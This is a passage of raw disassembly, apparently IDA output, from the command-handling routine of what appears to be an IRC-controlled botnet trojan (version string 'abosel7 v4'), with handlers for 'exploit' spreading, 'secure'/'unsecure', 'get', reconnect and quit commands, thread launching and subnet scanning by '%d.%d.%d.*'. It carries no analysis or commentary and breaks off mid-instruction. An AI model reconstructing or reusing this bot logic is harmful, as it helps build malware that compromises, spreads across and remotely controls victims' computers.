sub_41B779 test eax, eax pop ecx jz short loc_403C43 push edi call sub_41B779 pop ecx jmp short loc_403C48 ; --------------------------------------------------------------------------- loc_403C43: ; CODE XREF: sub_401ACD+2160j ; sub_401ACD+216Bj mov eax, dword_42907C loc_403C48: ; CODE XREF: sub_401ACD+2174j mov esi, [ebp+esi+var_88] mov [ebp+var_36C8], eax xor eax, eax cmp [ebp+var_8FC], bl setz al cmp esi, ebx mov [ebp+var_36B4], eax jz short loc_403C7B lea eax, [ebp+var_37CC] push esi push eax call sub_41B886 pop ecx pop ecx jmp short loc_403CA6 ; --------------------------------------------------------------------------- loc_403C7B: ; CODE XREF: sub_401ACD+219Bj lea eax, [ebp+var_4FF4] push 104h push eax nop call near ptr 2660000h push ebx push ebx lea eax, [ebp+var_4C8] push ebx push eax lea eax, [ebp+var_4FF4] push eax call sub_41B9D1 add esp, 14h loc_403CA6: ; CODE XREF: sub_401ACD+21ACj lea eax, [ebp+var_37CC] push eax call sub_41AFE0 cmp [ebp+eax+var_37CD], 5Ch pop ecx jnz short loc_403CD1 lea eax, [ebp+var_37CC] push eax call sub_41AFE0 pop ecx mov [ebp+eax+var_37CD], bl loc_403CD1: ; CODE XREF: sub_401ACD+21EEj push [ebp+var_88] mov esi, [ebp+arg_4] lea eax, [ebp+var_3A54] mov [ebp+var_3A58], esi push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_36B8], eax lea eax, [ebp+var_37CC] mov [ebp+var_36BC], edi push eax push [ebp+var_36C8] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BDE4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 3 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_36C0], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_3A58] push ebx push eax push offset sub_40F0D5 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_36C0] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403D85 loc_403D73: ; CODE XREF: sub_401ACD+22B6j cmp [ebp+var_36AC], ebx jnz short loc_403DA0 push 32h call near ptr 26604A7h nop jmp short loc_403D73 ; --------------------------------------------------------------------------- loc_403D85: ; CODE XREF: sub_401ACD+22A4j call near ptr 2660DCFh nop push eax push offset unk_42BDA8 loc_403D91: ; CODE XREF: sub_401ACD+2419j ; sub_401ACD+4D04j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch loc_403DA0: ; CODE XREF: sub_401ACD+22ACj ; sub_401ACD+23FDj ... cmp [ebp+var_8], ebx jnz loc_4083BC push ebx push edi jmp loc_407285 ; --------------------------------------------------------------------------- loc_403DB0: ; CODE XREF: sub_401ACD+1B11j ; sub_401ACD+1B26j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_403DCF push edi call sub_41B779 test eax, eax pop ecx jz short loc_403DCF push edi call sub_41B779 pop ecx jmp short loc_403DD4 ; --------------------------------------------------------------------------- loc_403DCF: ; CODE XREF: sub_401ACD+22ECj ; sub_401ACD+22F7j mov eax, dword_429080 loc_403DD4: ; CODE XREF: sub_401ACD+2300j mov [ebp+var_1824], eax mov eax, [ebp+esi+var_88] cmp eax, ebx jnz short loc_403DEB lea eax, [ebp+var_C4] loc_403DEB: ; CODE XREF: sub_401ACD+2316j push eax lea eax, [ebp+var_1964] push 40h push eax call sub_41B980 mov esi, [ebp+esi+var_84] add esp, 0Ch cmp esi, ebx jnz short loc_403E0D mov esi, offset dword_43D128 loc_403E0D: ; CODE XREF: sub_401ACD+2339j push esi lea eax, [ebp+var_1924] push 100h push eax call sub_41B980 add esp, 0Ch lea eax, [ebp+var_19E4] push [ebp+var_88] push 80h push eax call sub_41B980 mov eax, [ebp+var_8] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] add esp, 0Ch mov [ebp+var_1810], eax lea eax, [ebp+var_1964] push eax mov [ebp+var_19E8], esi push [ebp+var_1824] mov [ebp+var_1814], edi push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42BD6C push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 9 push eax call sub_40B0F6 add esp, 20h mov [ebp+var_1820], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_19E8] push ebx push eax push offset byte_410A4D push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1820] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_403EDA loc_403EC4: ; CODE XREF: sub_401ACD+240Bj cmp [ebp+var_180C], ebx jnz loc_403DA0 push 32h call near ptr 26604A7h nop jmp short loc_403EC4 ; --------------------------------------------------------------------------- loc_403EDA: ; CODE XREF: sub_401ACD+23F5j nop call near ptr 2660DCFh push eax push offset unk_42BD30 jmp loc_403D91 ; --------------------------------------------------------------------------- loc_403EEB: ; CODE XREF: sub_401ACD+1AE7j ; sub_401ACD+1AFCj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_403EFE push esi call sub_41B779 jmp short loc_403F05 ; --------------------------------------------------------------------------- loc_403EFE: ; CODE XREF: sub_401ACD+2427j push 0Bh call sub_40B35D loc_403F05: ; CODE XREF: sub_401ACD+242Fj cmp eax, ebx pop ecx jz loc_409854 push eax push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40BA56 jmp loc_4043B9 ; --------------------------------------------------------------------------- loc_403F25: ; CODE XREF: sub_401ACD+1ABDj ; sub_401ACD+1AD2j mov eax, dword_4CAE90 cmp eax, ebx jz short loc_403F42 call eax test eax, eax jz short loc_403F3B push offset unk_42BD0C jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F3B: ; CODE XREF: sub_401ACD+2465j push offset unk_42BCE0 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F42: ; CODE XREF: sub_401ACD+245Fj push offset unk_42BCB4 loc_403F47: ; CODE XREF: sub_401ACD+246Cj ; sub_401ACD+2473j ... lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 jmp loc_406CDB ; --------------------------------------------------------------------------- loc_403F5D: ; CODE XREF: sub_401ACD+1A93j ; sub_401ACD+1AA8j call sub_40AB31 test eax, eax jz short loc_403F6D push offset unk_42BC90 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F6D: ; CODE XREF: sub_401ACD+2497j push offset unk_42BC64 jmp short loc_403F47 ; --------------------------------------------------------------------------- loc_403F74: ; CODE XREF: sub_401ACD+1A69j ; sub_401ACD+1A7Ej cmp [ebp+var_8], ebx jnz short loc_403F93 push ebx push [ebp+var_4] push offset dword_42BC4C push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_403F93: ; CODE XREF: sub_401ACD+24AAj push ebx push [ebp+var_4] call sub_4181D6 push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BC30 jmp loc_404285 ; --------------------------------------------------------------------------- loc_403FB5: ; CODE XREF: sub_401ACD+18F9j ; sub_401ACD+190Ej push 0Ah call sub_40B33E test eax, eax pop ecx jle short loc_403FCB push offset unk_42BC04 jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FCB: ; CODE XREF: sub_401ACD+24F2j push [ebp+var_88] push [ebp+arg_4] call sub_419C64 pop ecx cmp eax, 0FFFFFFFFh pop ecx jnz short loc_403FEA push offset unk_42BBDC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FEA: ; CODE XREF: sub_401ACD+2511j push offset unk_42BBBC jmp loc_409601 ; --------------------------------------------------------------------------- loc_403FF4: ; CODE XREF: sub_401ACD+18CFj ; sub_401ACD+18E4j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40A7CE jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40400D: ; CODE XREF: sub_401ACD+18A5j ; sub_401ACD+18BAj push [ebp+esi+var_8C] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_416C28 jmp loc_401E91 ; --------------------------------------------------------------------------- loc_40402A: ; CODE XREF: sub_401ACD+187Bj ; sub_401ACD+1890j or edi, 0FFFFFFFFh call near ptr 2670D93h nop xor edx, edx mov ecx, 3E8h div ecx mov esi, [ebp+esi+var_8C] cmp esi, ebx mov [ebp+arg_0], eax jz short loc_404053 push esi call sub_41B779 pop ecx mov edi, eax loc_404053: ; CODE XREF: sub_401ACD+257Bj mov eax, [ebp+arg_0] xor edx, edx mov ecx, 15180h div ecx cmp eax, edi jnb short loc_40406C cmp edi, 0FFFFFFFFh jnz loc_409854 loc_40406C: ; CODE XREF: sub_401ACD+2594j push ebx call sub_41A88B pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42BBA4 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 lea eax, [ebp+var_2C4] push eax call sub_4151AC loc_4040AA: ; CODE XREF: sub_401ACD+529Cj add esp, 24h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4040B2: ; CODE XREF: sub_401ACD+1851j ; sub_401ACD+1866j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415A2F add esp, 0Ch push offset dword_42BB84 jmp loc_406F04 ; --------------------------------------------------------------------------- loc_4040D0: ; CODE XREF: sub_401ACD+1827j ; sub_401ACD+183Cj push 27h call sub_40B33E test eax, eax pop ecx jle short loc_404104 cmp [ebp+var_8], ebx jnz loc_401E94 push ebx push [ebp+var_4] push offset unk_42BB64 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 loc_4040FC: ; CODE XREF: sub_401ACD+7237j add esp, 14h jmp loc_401E94 ; --------------------------------------------------------------------------- loc_404104: ; CODE XREF: sub_401ACD+260Dj push [ebp+var_88] lea eax, [ebp+var_B2C] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_B30], eax mov eax, [ebp+var_4] mov [ebp+var_AA4], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_AA0], eax mov [ebp+var_AA8], ebx jz short loc_404165 push esi push offset aFull ; "full" call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404165 mov [ebp+var_AA8], 1 loc_404165: ; CODE XREF: sub_401ACD+267Bj ; sub_401ACD+268Cj lea eax, [ebp+var_2C4] push offset dword_42BB40 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 27h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_AAC], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_B30] push ebx push eax push offset sub_4198EB push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_AAC] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_4041D3 loc_4041BD: ; CODE XREF: sub_401ACD+2704j cmp [ebp+var_A9C], ebx jnz loc_409630 push 32h nop call near ptr 26604A7h jmp short loc_4041BD ; --------------------------------------------------------------------------- loc_4041D3: ; CODE XREF: sub_401ACD+26EEj nop call near ptr 2660DCFh push eax lea eax, [ebp+var_2C4] push offset unk_42BB04 push eax call sub_41B886 add esp, 0Ch jmp loc_409630 ; --------------------------------------------------------------------------- loc_4041F3: ; CODE XREF: sub_401ACD+17FDj ; sub_401ACD+1812j cmp [ebp+var_8], ebx jnz short loc_404212 push ebx push [ebp+var_4] push offset dword_42BAE8 push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 14h loc_404212: ; CODE XREF: sub_401ACD+2729j push [ebp+arg_4] call dword_4CB00C call dword_4CAECC call sub_418359 push ebx nop call near ptr 77E75CB5h loc_40422D: ; CODE XREF: sub_401ACD+17D3j ; sub_401ACD+17E8j push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push eax call sub_41AA42 pop ecx pop ecx push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BACC jmp short loc_404285 ; --------------------------------------------------------------------------- loc_404258: ; CODE XREF: sub_401ACD+17A9j ; sub_401ACD+17BEj push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push [ebp+arg_4] push [ebp+arg_1C] push eax call sub_41ACF6 add esp, 0Ch push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 push offset dword_42BAB0 loc_404285: ; CODE XREF: sub_401ACD+24E3j ; sub_401ACD+2789j call sub_4151AC add esp, 18h jmp loc_409854 ; --------------------------------------------------------------------------- loc_404292: ; CODE XREF: sub_401ACD+177Fj ; sub_401ACD+1794j push [ebp+var_8] push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41524C jmp loc_401E91 ; --------------------------------------------------------------------------- loc_4042AB: ; CODE XREF: sub_401ACD+1755j ; sub_401ACD+176Aj cmp [ebp+var_C], ebx mov [ebp+var_1594], bl jz short loc_4042EA mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4042EA push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_4042EA push eax push offset aS_1 ; "%s" lea eax, [ebp+var_1594] push 80h push eax call sub_41B980 add esp, 10h loc_4042EA: ; CODE XREF: sub_401ACD+27E7j ; sub_401ACD+27F2j ... push [ebp+var_88] lea eax, [ebp+var_1614] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_1618], eax mov eax, [ebp+var_4] mov [ebp+var_1510], eax mov eax, [ebp+var_8] mov [ebp+var_150C], eax lea eax, [ebp+var_2C4] push offset dword_42BA98 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 25h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_1514], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_1618] push ebx push eax push offset byte_41528D push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_1514] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40438D loc_404377: ; CODE XREF: sub_401ACD+28BEj cmp [ebp+var_1508], ebx jnz loc_401E94 push 32h nop call near ptr 26604A7h jmp short loc_404377 ; --------------------------------------------------------------------------- loc_40438D: ; CODE XREF: sub_401ACD+28A8j nop call near ptr 2660DCFh push eax push offset unk_42BA60 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40439E: ; CODE XREF: sub_401ACD+172Bj ; sub_401ACD+1740j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_415134 push offset dword_42BA48 call sub_4151AC loc_4043B9: ; CODE XREF: sub_401ACD+2453j add esp, 10h jmp loc_409854 ; --------------------------------------------------------------------------- loc_4043C1: ; CODE XREF: sub_401ACD+1701j ; sub_401ACD+1716j push [ebp+var_88] lea eax, [ebp+var_BC4] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] mov esi, [ebp+esi+var_8C] mov [ebp+var_BC8], eax mov eax, [ebp+var_4] mov [ebp+var_B3C], eax mov eax, [ebp+var_8] add esp, 0Ch cmp esi, ebx mov [ebp+var_B38], eax jz short loc_40441B push offset dword_42BA44 push esi call sub_41C070 neg eax sbb eax, eax pop ecx inc eax pop ecx mov [ebp+var_B40], eax jmp short loc_404421 ; --------------------------------------------------------------------------- loc_40441B: ; CODE XREF: sub_401ACD+2932j mov [ebp+var_B40], ebx loc_404421: ; CODE XREF: sub_401ACD+294Cj lea eax, [ebp+var_2C4] push offset dword_42BA24 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 28h push eax call sub_40B0F6 add esp, 14h mov [ebp+var_B44], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_BC8] push ebx push eax push offset byte_40B161 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_B44] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40448F loc_404479: ; CODE XREF: sub_401ACD+29C0j cmp [ebp+var_B34], ebx jnz loc_406CFF push 32h nop call near ptr 26604A7h jmp short loc_404479 ; --------------------------------------------------------------------------- loc_40448F: ; CODE XREF: sub_401ACD+29AAj nop call near ptr 2660DCFh push eax push offset unk_42B9E8 jmp loc_409226 ; --------------------------------------------------------------------------- loc_4044A0: ; CODE XREF: sub_401ACD+1685j ; sub_401ACD+169Aj push offset aDark ; "Dark" push offset dword_42B9D0 loc_4044AA: ; CODE XREF: sub_401ACD+2A1Cj lea eax, [ebp+var_2C4] push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push [ebp+var_4] push eax push [ebp+var_88] push [ebp+arg_4] call sub_409A72 add esp, 20h jmp loc_406CFF ; --------------------------------------------------------------------------- loc_4044D7: ; CODE XREF: sub_401ACD+165Bj ; sub_401ACD+1670j push dword_4CACB4 call sub_41A88B pop ecx push eax push offset unk_42B9A4 jmp short loc_4044AA ; --------------------------------------------------------------------------- loc_4044EB: ; CODE XREF: sub_401ACD+1631j ; sub_401ACD+1646j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40451D cmp [ebp+var_C], ebx jz short loc_40452C push esi push [ebp+var_C] call sub_41B900 pop ecx cmp eax, ebx pop ecx jz short loc_40452C push eax push offset aQuitS ; "QUIT :%s\r\n" push [ebp+arg_4] call sub_409A2C add esp, 0Ch jmp short loc_40452C ; --------------------------------------------------------------------------- loc_40451D: ; CODE XREF: sub_401ACD+2A27j push offset aQuitLater ; "QUIT :later\r\n" push [ebp+arg_4] call sub_409A2C pop ecx pop ecx loc_40452C: ; CODE XREF: sub_401ACD+2A2Cj ; sub_401ACD+2A3Bj ... push 0FFFFFFFEh jmp loc_401E96 ; --------------------------------------------------------------------------- loc_404533: ; CODE XREF: sub_401ACD+1607j ; sub_401ACD+161Cj push offset aQuitDisconnect ; "QUIT :disconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B954 call sub_4151AC add esp, 0Ch or eax, 0FFFFFFFFh jmp loc_401E97 ; --------------------------------------------------------------------------- loc_404555: ; CODE XREF: sub_401ACD+15DDj ; sub_401ACD+15F2j push offset aQuitReconnecti ; "QUIT :reconnecting\r\n" push [ebp+arg_4] call sub_409A2C push offset dword_42B920 call sub_4151AC add esp, 0Ch jmp loc_4097B9 ; --------------------------------------------------------------------------- loc_404574: ; CODE XREF: sub_401ACD+15B3j ; sub_401ACD+15C8j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B7DA jmp loc_404933 ; --------------------------------------------------------------------------- loc_40458A: ; CODE XREF: sub_401ACD+1589j ; sub_401ACD+159Ej push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B785 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045A0: ; CODE XREF: sub_401ACD+155Fj ; sub_401ACD+1574j push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B719 jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045B6: ; CODE XREF: sub_401ACD+1535j ; sub_401ACD+154Aj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_40B64A jmp loc_404933 ; --------------------------------------------------------------------------- loc_4045CC: ; CODE XREF: sub_401ACD+1490j ; sub_401ACD+14A5j push [ebp+esi+var_8C] push 27h push offset dword_42B910 push offset dword_42B900 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045E4: ; CODE XREF: sub_401ACD+1466j ; sub_401ACD+147Bj push [ebp+esi+var_8C] push 24h push offset dword_42B8F4 push offset dword_42B8E4 jmp loc_402B24 ; --------------------------------------------------------------------------- loc_4045FC: ; CODE XREF: sub_401ACD+1082j ; sub_401ACD+1097j mov edi, [ebp+esi+var_8C] cmp edi, ebx jz short loc_40461B push edi call sub_41B779 test eax, eax pop ecx jz short loc_40461B push edi call sub_41B779 pop ecx jmp short loc_404620 ; --------------------------------------------------------------------------- loc_40461B: ; CODE XREF: sub_401ACD+2B38j ; sub_401ACD+2B43j mov eax, dword_429074 loc_404620: ; CODE XREF: sub_401ACD+2B4Cj mov esi, [ebp+esi+var_88] mov [ebp+var_590], eax cmp esi, ebx jz short loc_404645 push esi loc_404632: ; CODE XREF: sub_401ACD+2B87j lea eax, [ebp+var_5A0] push 10h push eax call sub_41B980 add esp, 0Ch jmp short loc_40465C ; --------------------------------------------------------------------------- loc_404645: ; CODE XREF: sub_401ACD+2B62j cmp [ebp+var_8FF], bl jz short loc_404656 lea eax, [ebp+var_C4] push eax jmp short loc_404632 ; --------------------------------------------------------------------------- loc_404656: ; CODE XREF: sub_401ACD+2B7Ej mov [ebp+var_5A0], bl loc_40465C: ; CODE XREF: sub_401ACD+2B76j mov eax, [ebp+var_4] push [ebp+var_88] mov esi, [ebp+arg_4] mov [ebp+var_584], eax mov eax, [ebp+var_8] push 80h mov [ebp+var_580], eax lea eax, [ebp+var_620] push eax mov [ebp+var_624], esi call sub_41B980 add esp, 0Ch push [ebp+var_590] push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset dword_42B8BC push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push 19h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_58C], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_624] push ebx push eax push offset byte_4111CD push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_58C] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_40470D loc_4046F7: ; CODE XREF: sub_401ACD+2C3Ej cmp [ebp+var_57C], ebx jnz loc_401E94 push 32h call near ptr 26604A7h nop jmp short loc_4046F7 ; --------------------------------------------------------------------------- loc_40470D: ; CODE XREF: sub_401ACD+2C28j nop call near ptr 2660DCFh push eax push offset dword_42B880 jmp loc_402077 ; --------------------------------------------------------------------------- loc_40471E: ; CODE XREF: sub_401ACD+1018j ; sub_401ACD+102Dj mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_40473E push esi call sub_41B779 test ax, ax pop ecx jz short loc_40473E push esi call sub_41B779 pop ecx jmp short loc_404744 ; --------------------------------------------------------------------------- loc_40473E: ; CODE XREF: sub_401ACD+2C5Aj ; sub_401ACD+2C66j mov ax, word_429084 loc_404744: ; CODE XREF: sub_401ACD+2C6Fj push [ebp+var_88] mov esi, [ebp+arg_4] mov edi, [ebp+var_4] mov [ebp+var_97C], ax mov eax, [ebp+var_8] push 80h mov [ebp+var_96C], eax lea eax, [ebp+var_9FC] push eax mov [ebp+var_A00], esi mov [ebp+var_970], edi call sub_41B980 movzx eax, [ebp+var_97C] add esp, 0Ch push eax push esi call sub_40AC0F pop ecx push eax lea eax, [ebp+var_2C4] push offset unk_42B854 push eax call sub_41B886 push ebx lea eax, [ebp+var_2C4] push edi push eax push [ebp+var_88] push esi call sub_409A72 push ebx lea eax, [ebp+var_2C4] push 6 push eax call sub_40B0F6 add esp, 30h mov [ebp+var_978], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A00] push ebx push eax push offset byte_40E503 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_978] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404813 loc_4047FD: ; CODE XREF: sub_401ACD+2D44j cmp [ebp+var_968], ebx jnz loc_401E94 push 32h nop call near ptr 26604A7h jmp short loc_4047FD ; --------------------------------------------------------------------------- loc_404813: ; CODE XREF: sub_401ACD+2D2Ej nop call near ptr 2660DCFh push eax push offset unk_42B814 jmp loc_402077 ; --------------------------------------------------------------------------- loc_404824: ; CODE XREF: sub_401ACD+FC4j ; sub_401ACD+FD9j ... push edi push offset aSecure ; "secure" call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40484C push edi push offset aSec ; "sec" call sub_41C070 pop ecx mov [ebp+var_A10], ebx test eax, eax pop ecx jnz short loc_404856 loc_40484C: ; CODE XREF: sub_401ACD+2D66j mov [ebp+var_A10], 1 loc_404856: ; CODE XREF: sub_401ACD+2D7Dj push [ebp+var_88] lea eax, [ebp+var_A94] push 80h push eax call sub_41B980 mov eax, [ebp+arg_4] add esp, 0Ch cmp [ebp+var_A10], ebx mov [ebp+var_A98], eax mov eax, [ebp+var_4] mov [ebp+var_A0C], eax mov eax, [ebp+var_8] mov [ebp+var_A08], eax mov eax, offset aSecuring ; "Securing" jnz short loc_40489D mov eax, offset aUnsecuring ; "Unsecuring" loc_40489D: ; CODE XREF: sub_401ACD+2DC9j push eax push offset dword_42B7E0 lea eax, [ebp+var_2C4] push 200h push eax call sub_41B980 push ebx lea eax, [ebp+var_2C4] push 22h push eax call sub_40B0F6 add esp, 1Ch mov [ebp+var_A14], eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_A98] push ebx push eax push offset sub_419E19 push ebx push ebx nop call near ptr 266051Eh mov ecx, [ebp+var_A14] imul ecx, 234h cmp eax, ebx mov dword_43DEC4[ecx], eax jz short loc_404911 loc_4048FB: ; CODE XREF: sub_401ACD+2E42j cmp [ebp+var_A04], ebx jnz loc_4083BC push 32h call near ptr 26604A7h nop jmp short loc_4048FB ; --------------------------------------------------------------------------- loc_404911: ; CODE XREF: sub_401ACD+2E2Cj nop call near ptr 2660DCFh push eax push offset dword_42B7A4 jmp loc_4083AD ; --------------------------------------------------------------------------- loc_404922: ; CODE XREF: sub_401ACD+F9Aj ; sub_401ACD+FAFj push [ebp+var_4] push [ebp+var_88] push [ebp+arg_4] call sub_41A6AE loc_404933: ; CODE XREF: sub_401ACD+2AB8j ; sub_401ACD+2ACEj ... add esp, 0Ch jmp loc_409854 ; --------------------------------------------------------------------------- loc_40493B: ; CODE XREF: sub_401ACD+F70j ; sub_401ACD+F85j push offset unk_42B6F4 jmp loc_4085D5 ; --------------------------------------------------------------------------- loc_404945: ; CODE XREF: sub_401ACD+F46j ; sub_401ACD+F5Bj push offset aAbosel7V4 ; "abosel7 v4" push offset dword_42B6E4 jmp loc_406CCF ; --------------------------------------------------------------------------- loc_404954: ; CODE XREF: sub_401ACD+F1Cj ; sub_401ACD+F31j mov esi, [ebp+esi+var_8C] cmp esi, ebx jz short loc_4049AE push esi call sub_41B779 cmp eax, ebx pop ecx jl short loc_4049A6 cmp eax, 3 jge short loc_4049A6 mov edx, [ebp+arg_18] mov ecx, eax shl ecx, 7 cmp [ecx+edx], bl lea esi, [ecx+edx] jz short loc_40499E lea eax, [esi+1] push eax lea eax, [ebp+var_2C4] push offset unk_42C9BC push eax call sub_41B886 add esp, 0Ch mov [esi], bl jmp loc_40828B ; --------------------------------------------------------------------------- loc_40499E: ; CODE XREF: sub_401ACD+2EB0j push eax push offset unk_42B6B8 jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049A6: ; CODE XREF: sub_401ACD+2E9Bj ; sub_401ACD+2EA0j push eax push offset unk_42B68C jmp short loc_4049EB ; --------------------------------------------------------------------------- loc_4049AE: ; CODE XREF: sub_401ACD+2E90j mov edi, [ebp+arg_18] xor esi, esi loc_4049B3: ; CODE XREF: sub_401ACD+2F02j push [ebp+var_90] push edi call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_4049D6 inc esi add edi, 80h cmp esi, 3 jl short loc_4049B3 jmp loc_40828B ; --------------------------------------------------------------------------- loc_4049D6: ; CODE XREF: sub_401ACD+2EF6j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax push offset unk_42C9BC loc_4049EB: ; CODE XREF: sub_401ACD+2152j ; sub_401ACD+2ED7j ... lea eax, [ebp+var_2C4] push eax call sub_41B886 jmp loc_408288 ; --------------------------------------------------------------------------- loc_4049FC: ; CODE XREF: sub_401ACD+EF2j ; sub_401ACD+F07j push [ebp+var_8C] push offset dword_42C930 call sub_41C070 pop ecx test eax, eax pop ecx jz loc_4034A5 call sub_40B2BF push ebx call near ptr 77E75CB5h nop loc_404A22: ; CODE XREF: sub_401ACD+1A11j push offset aGet ; "get" push esi call sub_41C070 pop ecx test eax, eax pop ecx jnz short loc_404AB0 cmp dword_4CE728, ebx jz short loc_404A4A push offset dword_4CE108 loc_404A40: ; CODE XREF: sub_401ACD+2FE1j push offset unk_42B650 jmp loc_404AE0 ; --------------------------------------------------------------------------- loc_404A4A: ; CODE XREF: sub_401ACD+2F6Cj push 10h pop eax mov [ebp+var_2CC], eax push eax lea eax, [ebp+var_2E8] push ebx push eax call sub_41B590 add esp, 0Ch lea eax, [ebp+var_2CC] push eax lea eax, [ebp+var_2E8] push eax push [ebp+arg_4] call near ptr 71AB157Eh nop movzx eax, [ebp+var_2E2] push eax movzx eax, [ebp+var_2E3] push eax movzx eax, [ebp+var_2E4] push eax lea eax, [ebp+var_E30] push offset aD_D_D_ ; "%d.%d.%d.*" push eax call sub_41B886 add esp, 14h lea eax, [ebp+var_E30] push eax jmp short loc_404A40 ; --------------------------------------------------------------------------- loc_404AB0: ; CODE XREF: sub_401ACD+2F64j push esi call dword_4CAFB4 cmp eax, 0FFFFFFFFh push esi jnz short loc_404AC4 push offset unk_42B610 jmp short loc_404AE0 ; --------------------------------------------------------------------------- loc_404AC4: ; CODE XREF: sub_401ACD+2FEEj push offset dword_4CE108 call sub_41BEB0 pop ecx mov dword_4CE728, 1 pop ecx push esi push offset unk_42B5E4 loc_404AE0: ; CODE XREF: sub_401ACD+2F78j ; sub_401ACD+2FF5j lea eax, [ebp+var_2C4] push eax call sub_41B886 add esp, 0Ch jmp loc_4034FD ; --------------------------------------------------------------------------- loc_404AF4: ; CODE XREF: sub_401ACD+19F9j push edi push offset aExploit ; "exploit" call sub_41C070 pop ecx test eax, eax pop ecx jnz loc_404BF7 mov eax, [ebp+var_4] mov esi, offset aF ; "#f" mov [ebp+var_13E4], eax mov eax, [ebp+var_8] mov [ebp+var_13E0], eax mov eax, [ebp+arg_4] mov [ebp+var_13F4], eax mov edi, 80h push esi lea eax, [ebp+var_1474] push 